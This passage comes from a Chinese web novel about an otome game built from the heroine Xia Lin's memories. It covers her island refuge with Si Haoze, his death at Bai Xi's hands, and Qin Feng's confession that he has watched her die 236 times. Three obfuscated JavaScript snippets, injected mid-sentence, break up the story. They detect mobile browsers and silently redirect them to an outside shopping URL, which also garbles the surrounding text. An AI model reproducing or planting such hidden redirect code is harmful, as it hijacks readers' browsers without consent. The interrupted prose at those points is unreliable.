“刚才的那个距离使用手雷的话,我如果没有及时撤离也会死。” “是啊,我猜出来了,”司昊泽松开了夏林的领口,眯起眼看着对方抬手慢悠悠地整理衣领,“但我知道我们小学妹一直都这么神通广大。” “就像是有什么看不见的守护灵一直在你身旁,默默帮助我们夏林小学妹在‘任何’危机下都化险为夷。” 司昊泽这句话着重强调了两个字。 夏林整理衣领的手蓦地一顿,停了两秒后又继续了动作。 她抚平了衣领上的褶皱,站起身俯视着旁边的司昊泽: “你有这样的想法挺好的,看来我们在接下去的提议上应该可以达成共识。” 夏林转身朝着飞行器门外的方向走去,在飞行器空荡荡的门那一侧停了下来,回身做了个手势示意:“拿上一些需要的物品,这架飞行器应该不能用了吧?” 她转过身点了一下远方被落下的另一家敌方飞行器:“刚好那边还有一架。” “……”坐在原地的红发男人沉默了几秒,蓦地站起身拿起一个背包,往里装后舱里放着的武器弹药、衣物药品、水食物等用品,同时开口嘱咐:“别先走,等我一起过去。” 收拾好行李的司昊泽与夏林一同走向了那架敌方飞行器。走到近处,司昊泽在边沿找了位置借力,纵身一跃爬上了飞行器的顶部。 他在上方查看了一会,蹲下身敲开了上方某部位的盖子。 过了一会,司昊泽重新跳了下来,同时把手上拆除的几个设备往地上随手一丢。 看起来像是这架飞行器的定位追踪或者是识别设备。夏林往地上瞥了一眼。 司昊泽拉开飞行器的舱门,往里面走了进去。 夏林紧跟而入,倚着门看着这个红发男人几乎是一寸一寸地检查了飞行器内的所有设备和物品,并把所有可疑的东西全部丢了出去。 他最后在驾驶座坐了下来,低头在操作台上专注地敲击着按键。 几分钟后,夏林听到了司昊泽的声音: “可以了。” 她走过去仔细看了一会司昊泽调出各个系统的操作和上面显示的数值,然后伸出手拍了拍司昊泽的肩膀。 “我有一个之后大概率不会再有追兵过来的提议。”夏林说道。 司昊泽看着对方毫不避讳地撩起了黑色上衣的一角,然后在下摆处撕开了一条布料下来。 看懂夏林动作的司昊泽忽然笑了一声,神情古怪地开口:“你是……希望我之后当个瞎子?” “奇怪了,我明明没对你详细解释过关于‘司昊泽们’的事情?”司昊泽停顿了一下,紧盯着夏林的双眼,像是看到了什么新奇的事物一般,“但是你却像是知道了所有一样?” 司昊泽没有等夏林开口,很快自顾自得出了结论:“不,看来你确实是都知道。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167983|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……”夏林什么也没有说。 “就像是之前纪承英‘236幽灵事件’的时候一样,有些东西你明明不该有任何途径知道的才对……”司昊泽还在喃喃自语。 “所以,你愿意接受这个提议吗?”夏林打断了对方的话语,扬了扬手中长长的黑色布条。 “……如果我接受了,你会带我去哪儿?”司昊泽收起了所有表情,冷静地抬眼看向夏林。 “说实话,我对这里的路线也不太了解。”夏林说得十分真诚,“但我对隐蔽作战还有隐藏踪迹还是有一些‘心得’的。” “听起来就像是在邀请我一起私奔一样。”司昊泽忽然扬起了一个笑容,向着夏林低下了头,“好啊,给我遮上吧。” 夏林闻言伸手仔细地将布条在他的眼部结结实实地缠了好几圈,末了还在他眼前晃了晃,想确认对方没有看到任何东西。 只是她的手却被对方一把抓住。 夏林立即开口:“还看得到?”她边说边伸手想调整一下这个布条。 “不,看不到。只是……”司昊泽停顿了几秒,“很奇怪,虽然看不到,但是我好像莫名其妙地能感觉到你在我身边。有点新奇?” “嗯。那很好。”夏林已经在转头看这个飞行器上的各个显示屏熟悉操作,她另一只手拍了拍司昊泽的肩膀示意,“你去坐副驾驶吧。” 话音刚落的下一秒,她整个人却陷入了一个紧紧的怀抱。 夏林愣了一下没反应过来,两秒后才伸手试图挣脱。但对方却像是要将她融入身体里一般,反而把她搂得更紧。 就在夏林挣脱无果打算采用暴力动手之际,司昊泽却突然松了力。 高大的红发男人往旁边挪了几步,乖巧地坐到了副驾驶座上,末了还歪头看夏林: “小学妹,私奔计划就完全拜托你了哦?” “……” 夏林很想问刚才那个拥抱是怎么回事,但理智上知道,他们已经在这里停留很久了。 现在必须要尽快离开,否则刚才“故意放走”的敌人或许会带人返回。 金发少女在驾驶座上坐了下来,按照之前观察的司昊泽的操作成功启动了飞行器。 她瞥了一眼外面站在某棵树下一直望着这里的秦封,控制飞行器缓缓提升了高度。 这一切都是夏林的计划。 先是关闭司昊泽的闹钟引诱追兵赶来,再利用这个危机让司昊泽清晰地意识到他们一味逃亡毫无未来的处境。 实际上刚才留在这里的敌人一共有两人。夏林利用秦封的“瞬间移动”过来解决了一个,故意留下了另一个。 这是最佳处理方法,既获得了一架完好的飞行器,又让司昊泽看到了眼下状况的紧迫。 然后她就可以趁机提出“蒙眼”的建议彻底掌握主动权。 夏林知道在那个情况下司昊泽一定会同意。 金发少女缩小了显示屏上的地图显示,仔细观察之后,选择了一个方位,打开推进器。 缓缓升起的飞行器在空中一滞,调整方位后高速地朝着某个方向前进。 她会保护好攻略角色司昊泽。 接下去,就只需要静静等待结局的到来。 45. 司昊泽11 飞行器在空中持续飞行了相当长的一段时间,最终降落在了某一座无名小岛上。 当海风独有的咸涩一下子涌入鼻腔,刚从飞行器里走下的司昊泽脚步微微一滞。 然后他感觉到夏林的手在帮他解开遮掩的布条,他抬手一挡: “如果你想在这里安全得久一点,最好不要让我得知这个地方太多的信息。”司昊泽给出了警告。 “你的意思是……”夏林用手指捻起布条,毫不犹豫地用力往外一抽,“在接下去的日子里,希望我为看不见的你端茶倒水,照顾你生活起居?我拒绝。” 眼前的遮挡物一下子被掀开,正值正午的刺眼阳光一下子进入了眼球。 司昊泽抬手遮了一下,直到眼睛适应后才放下了手。 入眼是一望无际的蔚蓝色。万里无云的晴朗天气让天空与海平线的分界线变得模糊,只余耳畔海浪击打在岸边礁石的声音。 “我刚才快速看了一下这个星球的地图,大大小小的岛屿挺多的。我就随机挑选了一个方位合适的小岛,”夏林从飞行器里拿起了一个背包背在身后,径直从司昊泽身旁走过,“我想你应该不会知道这里所有岛屿的信息。” “……嗯,我确实不知道这是哪里。”司昊泽环顾了四周,发现夏林这个岛屿的位置确实选得极好。 目之所及没有其他临近的岛屿,岩石和植被也没有什么其他特征,看上去一切都很普通。 普通意味着没有标志物,也就是无法通过他此时视野里的记忆定位。 司昊泽在脑海中思索了一会,余光瞥见夏林兀自往岛屿深处走了,连忙开口喊:“你去哪?” “去找找看有没有什么可以过夜的地方。”前面的夏林头也不回。 司昊泽愣了一下,转身也从飞行器里提起了一个背包,快步追了过去。 两人成功在太阳落山前找到了一个合适的山洞。携带的应急背包里简易睡袋、食物、水都有,保证短暂的生活所需不成问题。 夏林将两人带来的背包物资汇聚在一起,放在一旁整理了一下。期间司昊泽虽然没有发出声音,但一直能感受到来自背后的视线。 直到夏林的动作告一段落,身后才传来了声音:“我们要在这里呆多久?” 这句话的语气很平静,和平日里那个张扬肆意的感觉截然不同。 她在回忆里见过这样的司昊泽。 夏林转过身,与远处的红发男人遥遥相对:“直到被发现必须要转移的时候,”她顿了一下,“或者你在这里呆腻的时候,我们可以换去别的地方。” 夏林转过身拿起水,对自己进行了一个就简单的洗漱,同时开口:“别担心,不是只有岛屿一个选择。即使在这个时代,能够远离人烟掩藏行踪的地方还是有很多很多,更何况我们有两个人。” 山洞内的空间不算小,但他们只带了一盏野外灯,即使放在中间,能够照亮的范围依然有限。 司昊泽站在更远离灯的另一侧,昏暗的橙色光线将他的身形在后方石壁上映出了长长的影。 他面对着光亮开口,嗓音变得有些低沉:“所以……你会一直和我在一起?” 夏林很快回道:“是。” 司昊泽问:“为什么?”晦暗的光线下,他极深的墨蓝眼眸像是摇曳着幽影,“你知道我杀了白川和纪承英,也曾多次加害于你。” 纪承英……明明没死。 夏林沉默了一下,但对这个问题她早有准备。 她洗漱完之后又把东西收好,从背包里拿出睡袋展开,手下一刻没停,因此说出的话语也像是不经意的真实反应:“你说得没错,我非常讨厌你。” “但在白川和纪承英都不在了的现在,我一个人势单力薄,敌人的敌人就是朋友。你看上去已经被你的组织放弃,而我并不知道你的组织有哪些布置或神通,所以如果一个人落单,你的组织也不知道什么时候就会来找我。前面说过了,我不喜欢被动的感觉。” “所以现在和你在一起,他们也会不知道我在哪里。就算一旦被找到,也会有你这个不留余力的帮手?” 似是有风吹过,石壁上的倒影摇晃了一瞬,又恢复了平静。 “听上去,你是想利用我藏身,还想利用我的武力,”司昊泽的声音听不出喜怒,“但,如果一切顺利,那些人一直没有找到这里,你的‘利用’又会持续到什么时候?一个月,一年,还是三年?” “我刚才已经说过了,”夏林再次转过身,望向另一边的司昊泽。 她一字一顿,将这句话又重复了一遍:“我会‘一直’和你在一起。” “‘一直’?”司昊泽将这个词语低声重复了一遍,紧接着像是不小心按到了人格切换的开关一般,一秒又毫无预兆地恢复了往日里不正经的语气,“嗯,那太好了。我最喜欢和小学妹在一起啦。” 对面的红发男人手下快速动作,也拿出了他的睡袋,几秒就收拾好了将自己裹了进去: “时候不早了,早点睡。晚安哦,小学妹。记得关灯。” “……”夏林盯着他的背影看了一会,默默走过去关灯。 她知道司昊泽并没有相信她这句话。 但没关系,他之后会相信的。 因为这就是她打算要做的攻略方法。 关灯前,夏林抬眼望向了山洞口的方向。 高大的黑发男人沉默地伫立在那里,对她刚才的一系列发言没有任何反应。 仔细想来,在司昊泽这个角色的攻略过程中,这回秦封一次都没有“主动”干涉过她的行动。 和记忆里白川和纪承英的时候都不一样。他会是发现了什么吗?发现她恢复记忆了? 夏林利落地关闭了野外灯的开关。整个山洞陷入了黑暗中,唯有洞口的方向洒落着些许月光。 ……不对,每次秦封主动干涉,似乎都是“她”会遇到危险的时候。现在他没有干涉,说明“她”是没有危险的,但并不包括攻略人物。 因为前两次的攻略角色白川死亡了,纪承英昏迷不醒。 夏林在黑暗中慢慢地走向自己的睡袋,脑中不停地思索。 秦封应该知道按照目前的走向,这次的司昊泽会有怎么样的结局。要之后想个办法诈一下秦封的情报吗?这样如果结局有问题,现在也还有调整的空间。 蓦地,夏林的脚步一顿。 不过,秦封为什么会知道这个乙女游戏的各种结局? 明明这些攻略角色都是与她的记忆有关? · 接下去的日子果真被司昊泽一语中的,并没有任何追兵来到这个小岛。 十天,二十天,一个月,三个月。 每天早起准备好生活所需,接下去大把的闲暇时光有时两人会切磋交流一下格斗技,有时会就地绘出沙盘模拟演练。 晴天可以下海捕鱼,观察形态各异的海洋生物;雨天可以回到飞行器上闭目仰躺,在舒缓的音乐节奏中全身心地放松。 平凡到不可思议的每一天。 夏林在这期间一次都没有打开过好感度系统,但司昊泽对她的态度变化是肉眼可见的。 两人之间的交流变多了。所聊的内容也渐渐随意了起来。 所以这一天也只是一个平凡的晴朗午后,躺在沙滩上晒太阳的夏林突然想起了一个她恢复记忆以来一直存在的疑惑,于是偏头问旁边同样躺着晒太阳的司昊泽: “你……那个时候为什么杀白川?” “以白川的星盗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173265|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份,即使你不动手,只要去告诉纪承英,他也会完蛋。” 起先夏林以为司昊泽是为了杀人灭口,担心他与白川的交易内容暴露。 但后来她恢复记忆后,一想就发现了问题。 以司昊泽伪造证据消灭踪迹的水平,外加他与纪承英的交情,就算是白川在天宿学院内被抓什么都招了,他也应该还有不少后手。 司昊泽在那个时候还有第三人的情况下动手杀了白川完全是下下策。 “我知道收拾他的办法多得是,”司昊泽依然保持着原来平躺的动作,连眼也没睁,“但我看到他就觉得碍眼,所以不想再看见他了。” “星盗团长明明当得好好的,却亲自来执行这种一看就会死的任务?只是为了来看妹妹一眼?” “既然已经选择了那种远远守护的高尚亲情就该从一而终地执行到底,不该再有什么奢念。有些人的人生是从一开始就只有一个选项的。” “既然他自己选择当了贪心的老鼠,那奇迹就不会发生在他身上。他一定会死。我只是加快了这个进程。” 这番话确实完美回答了夏林的问题,但…… 好像有什么关键信息在脑海中一晃而过,快得让她捕捉不到踪迹。 下意识地,夏林听见自己继续问道:“纪承英呢?” “……” 司昊泽并没有第一时间回答。 良久,夏林才听到旁边传来司昊泽低低的嗓音:“他……什么都有。” “可他没有运气。生在这个时代,还遇到了我。” “努力,聪明,正义感,坚强……这些被世人歌颂的美德就像花园里绽放的美丽花朵,璀璨夺目却又必须在某些苛刻的条件下,或者是某些人全心全意的帮助下才能继续维持。” “很遗憾。他既没有遇到能帮助他的人,也没有在苛刻的条件下产生奇迹。” 原来是这样。 夏林抬手用手臂遮住了眼睛。 她觉得阳光突然有些刺眼了。 她终于知道了这个与她现实里人生经历毫无关系的“司昊泽”角色是怎么回事。 原来她的内心的某一处一直抱有这样的想法。 觉得她在夏璃的事情上做出了“贪心”的选择,觉得她后来的人生没有丝毫运气,没有遇到能够帮助她的人。 这样软弱又充满怨恨的想法。 是啊。 人确实是会这样的吧。在某个不堪忍受的低谷期会不受控制地回想自己以前的种种。 然后觉得自己以前做出的决定十分愚蠢,恨不得杀掉以前的自己。 这就是“司昊泽”。 夏林其实一恢复记忆就立刻反应过来了这个乙女游戏是怎么回事。 这些攻略角色,这些游戏事件,都是抽取了她记忆的一部分再通过光脑杂糅了一些元素生成的。 很明显,白川的剧情就是来源于她和夏璃的现实事件。 从相依相伴,到物是人非。 最后以白川的死亡结束。 而纪承英更像是她放弃所有独自被分派到边境线之后的现实。 一无所知地度过平静日常,然后被突如其来的“真相”打击得什么也不剩。 只是,她之前一直不知道司昊泽这个角色是怎么回事。 现在她知道了。 觉得白川贪心又碍眼,觉得纪承英没有运气。 对她现实里的那些选择和处境充满怨恨。 所以原来她最后面对死亡的时候,也不是她想的那种完全坦然啊。 夏林感觉自己微微叹了一口气。 她依然维持着之前的动作,只是闭上了眼: “但是你之前还是给了纪承英机会,不是吗?” 46. 司昊泽12 平躺在沙滩上的夏林感觉到旁边的司昊泽有了动静,于是也放下了手臂偏过了头。 红发男人在沙滩上以手撑头,侧着身注视着她。此时见她转头,挑眉道:“你指什么?” 夏林说:“在巨蛋会场爆炸之前,飞进来的两架不明飞行器的有一架突然开了枪。是你吧?” 虽然是个问句,但夏林的语气非常肯定。 司昊泽听完后笑了一声,慢悠悠地问:“你,为什么觉得会是我?” “因为那天你一定在这两架飞行器的某一架上。而且我们听到枪响躲避了之后,我们藏入的那个角落没有遭受任何后续枪击。这一切看起来就像之前只是在给我们通风报信,告诉我们有敌人来了。”夏林说话时一直看着司昊泽的眼睛。 那双墨蓝的眼眸里随着她的话语泛起了几丝涟漪。 “啊,真聪明,全对,”司昊泽坐起了身,低头俯视着她,脸上没有任何表情,“可是太迟了。” “你们没有在那个时候想明白,才会有后面的结果。现在说这些也没有用了。”他边说边站起了身,抬起手脚左右舒展了一下筋骨。 “有用的,”夏林忽然开口,司昊泽也跟着停下了动作。她继续说:“这是你唯一一次冒了风险想要为纪承英留下了生机。” “如果我们在那时明白了你的暗示,选择尽快撤离,现在或许会有不一样的结果……” “所以我说了,”司昊泽出声打断了夏林,“你现在说这些,没用。” “因为实验体的记忆共享,你无法用语言、文字提示我们。甚至那样隐晦的行动,所包含的善意在做了之后也会立刻被其他的实验体察觉到,”夏林没有理会司昊泽的冷声,只是像在陈述某种客观事实般地继续往下说,“为了不被立刻‘处理’,你反手引爆了那个巨蛋会场以表忠心,同时也在希望,你留下的生机时间能被我们好好掌握到。你是立刻返回了吧?不然不会比搜救队更快找到我。而纪承英之所以没有死,也是因为你第一时间……” “小学妹,我有点毛骨悚然了,”司昊泽出声打断了夏林的话。他撩起袖口,夸张地做了个展示汗毛的动作,“你该不会在身上哪个部位其实也有个编号?” 他嬉皮笑脸地说完,然后瞬间转为了冷脸:“你要让我重复第三次吗?现在这些都是没有意义的。” “有意义,这句话我重复多少次都可以,”夏林抬眼与他对视,蔚蓝色的眼眸宛如两人身后平风浪静的海面,上面清晰地映出了司昊泽的身影。 “这是只有‘你’才会做的行动。” “说明你比起你的组织,更认同纪承英给你展现的那一个未来。你在心里希望他能够平安,然后抵达他选择的未来。所以你才有了那样冒险的行动。” 司昊泽安静地等夏林说完了这一番话,然后仰头用手遮住了脸,深深地呼出了一口气。 他放下手,正色道:“夏林,我前面没在和你开玩笑,我是真担心你讲完就要撩起哪里给我看一下你身上的编号,然后告诉我你是他们的最新型实验体。” “你就像住在我的脑子里一样,我不明白拥有什么样的超能力才能说得这样分毫不差?简直就像……”司昊泽停顿了一下,像是在思索用什么词比较好。 过了一会,他说:“简直就像,你就是我一样。” 听到这句话的夏林微微一怔。但旁边的司昊泽还没说完:“不过还好,到最后我还是确定了你不是什么实验体。你终于说错了一些东西。” 回过神的夏林重新抬眼看向司昊泽,却发现对方的视线越过了她,看向了她身后的某个方位。 夏林下意识地也跟着转过了头。 “我从一开始就没有什么未来。作为实验体,我的寿命最多还有一个月。在没有定期供药的情况下,我现在最多还有三天。” 在扭头的过程中听到了这惊人的消息,又让夏林将视线重新回到了司昊泽的身上。 恰好与他对上视线。 不知道为何夏林突然想到了两人初次见面时的场景,那时的司昊泽也像现在一样。 微风拂动着他张扬的红发,高大的男人望着她,眼中带着细细的笑意,然后冲她眨眼,自然地做了一个wink: “没有及时供药的实验体最后都会迅速衰败死得很丑。我可不能在小学妹的面前留下这么难看的印象啊。” 这句话还没说完时夏林就已经意识到了什么。 她方才的那一下转头虽然没有完全转过去,但视野的余光还是有瞥见那个方向似乎是站着一个人。 这个时候在岛上出现的人难道会只是偶然路过? 她立即坐起身一撑地面借力曲腿站起,整个人朝着司昊泽的位置扑了过去。 后方的枪声与司昊泽的声音同时响起: “还好她来得很……快呢。” 这两秒钟像开了慢动作的镜头。 夏林起身朝着站在面前的司昊泽扑去,不知何时出现在旁边的秦封一把抱住了夏林的腰身,将她往旁边一揽。 身后远处而来的子弹恰好因为这一揽,穿过了因受力而改变动作的夏林的肢体间隙,直直地进入了前方不避不躲的司昊泽的身体。 夏林和秦封因为动作的惯性双双摔倒在了沙滩上。等夏林立即坐起身,看到的就是那个方才还冲她微笑的红发男人直直地向后倒了下去。 “司昊泽?” 夏林猛地上前替他用力按住不断冒血的胸口,同时回头望了一眼枪响的方向。 那个缓缓朝这里走来的身影属于一个意想不到的人。 “你……果真在……啊。” 虚弱的男声让夏林重新看向了司昊泽这边。但她却发现司昊泽视线的焦点并没有停留在她的身上,而是看向了她旁边的位置。 一袭黑衣的秦封正站在那里。 “你说什么?”刚才由于注意力全在警戒远方,夏林并没有把司昊泽刚才那句话听得很清楚。 司昊泽的口中不断涌出鲜血。他没有再开口,而是唇角上扬,露出了一个安心的表情,闭上了眼。 手下按着的伤口处已经感受不到心脏的跳动。 意识到这个结论的夏林缓缓松开了手,怔怔地看着前方那个还留有体温却气息全无的人。 此时,后方的开枪人走到了近处。 她扫了一眼地上的司昊泽,摘下了戴着的圆形眼镜,开口说道:“夏林学姐,好久不见了。” “唐瑶,”夏林喊出了来人的名字,缓缓转过头,“还是应该喊你白溪?” “嗯,我现在只是白溪了,学姐。”原本的麻花辫女生如今剪了一个利落的短发,她流利地回答了夏林,同时把手上的枪收了起来。 这个动作让夏林瞥见了她手上满是狰狞的伤痕,纵横交错密密麻麻地一直蔓延到了手腕袖子以下。 以现在的科技医疗水平,能留下这样明显疤痕的只有…… 在同一个位置短时间内反复出现伤口,常见于拷问。 “……”之前一直被忽略的某一点在此刻被完全串联了起来。 “啊,抱歉,”夏林长时间的注视让白溪立即发现了对方在看什么。她两只手交错用力扯了一下袖子,遮住了手上的伤疤。 这个动作让夏林愈发肯定了自己的想法。 她前面果然漏掉了很关键的信息。 这个乙女游戏的剧情十分严谨。所以巨蛋会场爆炸的事情确实有在被秘密调查。 那份缺考名单上出现的熟悉名字,她那时候应该多想一些的。 毕竟这游戏里总共也没有出现过多少个有名字的角色。 “该说抱歉的应该是我吧?”夏林深深地呼出了一口气,然后继续说,“他们在找的人是我,那天是我和纪承英一起去了巨蛋会场。” “我知道的,夏林学姐,”白溪却给出了一个意想不到的回答,“司昊泽全都和我说了。” 夏林愣了一下。 站在面前的栗发女生已然褪去了昔日所有的怯懦与畏缩,只是平静地看着夏林,说:“学姐,你没有什么好抱歉的。这只是我和司昊泽做的一个交易。我知道我要面临什么。” “他修改了那天巨蛋会场所有的监控影像,由我来代替你接受军部的调查。” “若是我能活着出来,可以通过他留下的定位器找到他。到时候我对他做什么都可以,包括杀死他,他不会反抗。” “他应该是没想到我能活着出来吧。我发现他给我的这个定位器的信号他从没有关过。” 白溪说到这里又瞥了一眼地上已无生机的司昊泽,然后垂下了眼睫: “我本来也应该是出不来的。我后来也真的是受不住了,我在那里生不如死,每一分每一秒都太痛苦了……” “但是最后,还是唐夫人用尽了她的关系冒着风险找来另一具尸体替换了我,救了我出来。她真的是个很好的人,对我很好很好……我这辈子虽然不能再当她的唐瑶了,我也会永远记得她,她和我哥哥白川一样,是我的亲人。” 白溪说完这些话之后过了一会,又开口: “学姐,我现在必须要走了。这些事已经全部结束了。以后,我们或许也不会再见了。” 话落,那个遍体鳞伤的单薄身影便转身毫无留恋地离开了。 夏林知道白溪对她的冷淡态度从何而来。 因为她之前在纪承英的攻略剧情时,为了取得纪承英的好感对外宣称是她杀了白川。 即使身为另一个当事人的白溪知道实际不是她干的,从她的角度来想夏林也是在利用她哥哥的死亡。 夏林深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178179|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深地吸了一口气,然后冷不丁突兀地笑了一声。 “秦封,我完全没想到这个乙女游戏的剧情居然能发展成这个样子呢,”她说完后过了两秒,又补充了一句,“准确地说,是我没想到最后的司昊泽会是这样的。” “实际上我确实就是他,所以我现在好像完全知道他那个时候的想法。” “司昊泽不是没想到白溪不能从军部出来,应该是恰好相反,他是坚信白溪一定能够活着出来,所以才一直开着定位器。” “因为他相信白川一定给他妹妹找了个好家庭,不是那种不是亲生孩子就见死不救的冷血家庭。” “这个人怎么能是这样的呢?嘴上说着白川碍眼,又认同了他的判断?说着纪承英没运气,又冒死给他留机会?这样简直就像是……” 就像是在羡慕他们做了自己没能做的选择。 因为只有他是真的没得选。 所以,她自己也是这样吗? 就算现实里已经走到了最坏的死亡结局,心里某一处在不停地埋怨那个做出愚蠢选择的自己,可就算重来一次,她还是会做出一样的决定。 因为这些都是她自己的选择。她就是这样的人。 想到这里,夏林闭上眼,深呼吸了一口气,试图把情绪拉回到现在: “现在这个游戏要怎么办呢?三个攻略角色都死亡了的现在,如何能……离开这个游戏?” 在一旁沉默了许久的秦封终于开口:“你已经可以离开这个游戏,”在接收到夏林眼神之后,他又补充了一句,“你可以查看攻略面板。” 秦封这么说之后,夏林久违地呼出了系统菜单,打开了攻略面板: 白川:【100/100】 纪承英:【100/100】 司昊泽:【100/100】 秦封:【100/100】 原本是问号的位置出现了一个不可思议的名字,同时后面跟着的数值是…… 夏林的视线在那个数字上停顿了一会,然后抬眼道: “难怪你即使看到攻略人物死亡也不为所动,只一直在意我的死活?” “你居然是可攻略人物?所以你是希望到最后我也像前面几个角色一样,也要费尽心思来哄哄你?” “但这个好感度数值是怎么回事?你是看到我攻略其他人之后,就好感度满了?你的爱好挺独特啊。” 夏林一句接着一句,语气极其嘲讽。 “不是,”即使被这样说,秦封也没有任何恼怒的迹象。他像是在陈述一个事实,“我对你的好感度,从一开始就是满的。在任何时候,只要你想,就可以离开这个游戏。因为你应该有这样的权利。” 就这样语气平静地丢下了一个惊天炸弹。 他现在……难道是在对她表白吗? 夏林愣了一下,心底深处的某一处突突地疼了一下。 但她很快恢复了理智,对方才的情绪面上不显。夏林顺着这个话题往下说:“那就当是这样吧。怎么离开这里?” “只要你想象着要在现实里睁开眼就可以了。” “这么简单?” 夏林是真的有些惊讶,她很快做出狐疑的表情:“你该不会是在骗我吧?你自己照着做一次试试?” “……”秦封半点没动。 夏林继续催促:“你在犹豫什么?如果担心我不回去的话你可以等会再进来这个游戏。你不相信自己的操作速度?快去。” “……”高大的黑发男人依然没有动作。 夏林心里莫名生出了一股焦急的烦躁。她朝着秦封伸出手想抓住他,却在触碰到对方的一瞬间被他死死抓住。 “不要再骗我了。” “求你了。” 秦封这两句话的嗓音带着她从未听过的颤抖。 夏林缓缓抬头。 那双漆黑的眼眸里充满着痛苦、不安、自责,以及深深的绝望。 夏林从没想过能在秦封的眼中看出这些情绪。 “你之前,也曾经和我说过一模一样的话,”他的嗓音有些沙哑,“那时我相信你了,以我平生最快的速度出去,又回来。” “可是你已经死在了这里。是自杀。” “之后也有好多次,我都相信了你。” “可是你骗了我一次又一次。到现在,已经是236次了。” 啊,原来是这样。 这就是为什么明明是用她的记忆制作的乙女游戏,秦封却能精准知道那些攻略角色各种结局的原因。 夏林张了张口,却发现自己一时间想不出应该说些什么。 她轻轻地叹了一口气。 “所以这么多次了,你依然没有理解。” “我和你从一开始,就不是同路人。” 47. 夏林1 最开始知道“秦封”这两个字的时候是十岁时,在某个自从夏林参赛以来一直以她夺冠为结尾的机甲比赛里。 当时收养她的夏家是在帝国的领养系统内施加了层层包含外貌、智力、身体数值等条件的苛刻筛选,最终才选择了夏林。 即使夏璃是真的有拿她当“姐姐”,但大部分的时候,夏林都像是一件被精心挑选的商品,必须根据需求被带到各个地方进行“展示”。 因为只有展现出自己的价值,才不会被“退货”。 夏林已经记不清自己来到夏家后参加过多少比赛。但“秦封”这两个字出现的那一场比赛的情形,她却记得很清楚。 那一次虽然最终也是夏林获得了第一名,但第二名的选手和她的成绩相差的数值细微到只有小数点的后三位。 夏林从来不在比赛中放水。每一次比赛为了不出什么意外,她都是全力以赴的。 所以发现这个细微差距后,她非常仔细地记下了这个第一次见到的参加者名字。 并在颁奖台见到了“秦封”本人。 按照年龄分的青少年组里大家的岁数都差不多。但当那个穿着灰色马甲打着领带的少年一步步踩着皮鞋地走过来时,夏林莫名地在对方身上感受到了属于一种“大人”的成熟感。 他好像和自己完全不一样。 后来当星网的记录员来赛后采访时,秦封不像自己只会直白地回忆今天的比赛内容,说一些哪里比较困难哪里对她来说比较容易的大白话,而是会在说出自己感想的同时称赞一下赛事组的设计,以及家族给他提供的帮助。 全程在旁边盯着人家看的夏林从没想过还能这样说。 但她稍微一想就知道了,如果她也能这样回答的话,会给大家都留下更好的印象。 他果然和别人不一样。 夏林仔细地又将秦封从头到脚打量了一遍。 身上的衣服鞋子材质都很好。颁奖和刚才的采访期间也一直维持着夏林才学不久的“社交礼仪”,仪态动作姿势都很完美。 似乎是什么有钱家族的小少爷。 得出这个结论的夏林将“想上前搭话”的念头又按了下去。 她现在实际亲身接触过的“贵族”只有夏璃一个人。可是夏璃对她很好,从不在她面前摆那些架子,她们相处得很随意。 夏林所学的礼仪课上关于贵族社交的注意事项就有厚厚一叠。至今为止她只有理论,还没有实践经验。 那个“秦封”小少爷看上去身份非富即贵,要是她贸然上去搭话不小心在哪里出错了惹得人家不高兴,可能会传到夏家那边。 ……算了,反正或许他们只会见这一次,没有必要冒这样的风险。 夏林在之前类似的比赛里从未听过“秦封”这个名字,今天他能拿到这个成绩或许只是恰好他刚好擅长这个项目。 ……总不能像自己那时候一样,为了在短时间内让“夏林”这个名字横空出世拿出比赛成绩,到夏家后一天只睡3小时没日没夜地拼命学习吧? 于是做完决定的夏林像往常一样,比赛颁奖全部结束就立刻回去了,全程没有和任何人交谈。 ——于是也完全没有发觉在颁奖结束后,某个特意将自己打扮得很精致的小少爷朝着她离开的方向追了好几步,然后眼睁睁地看着被人潮淹没,在原地重重地跺了一下脚。 · 事实证明夏林的想法是完全错误的。 在接下去那个月的算法大赛上,夏林在参赛席上又一次看到了秦封。 全新的造型。和之前的精致贵气不一样,走休闲风。 一头整齐利落的黑色短发,穿着深蓝色的连帽卫衣,端正又不显拘谨地坐在座位上低头看着光脑。 这个比赛的模式是比赛开始后会在前面的大屏上随机出现一个算法问题,所有参赛选手在光脑上指定系统内作答,完成后提交。大屏上出现的问题存在的时间是固定的,最后以选手提交的答题总时间进行排名。 参赛选手的座位离得很近。夏林的座位就在秦封的后方。 这个比赛也相当考验参赛者的心态。因为题目在前方大屏存在的时间是固定的,那么周围人有没有答完题,其实附近的其他参赛者是可以察觉到的。 比如现在的夏林在光脑上作答完刚一抬头,就发现了前面的秦封也是抬着头答完题的状态。 ……他是什么时候答完的?比她快吗? 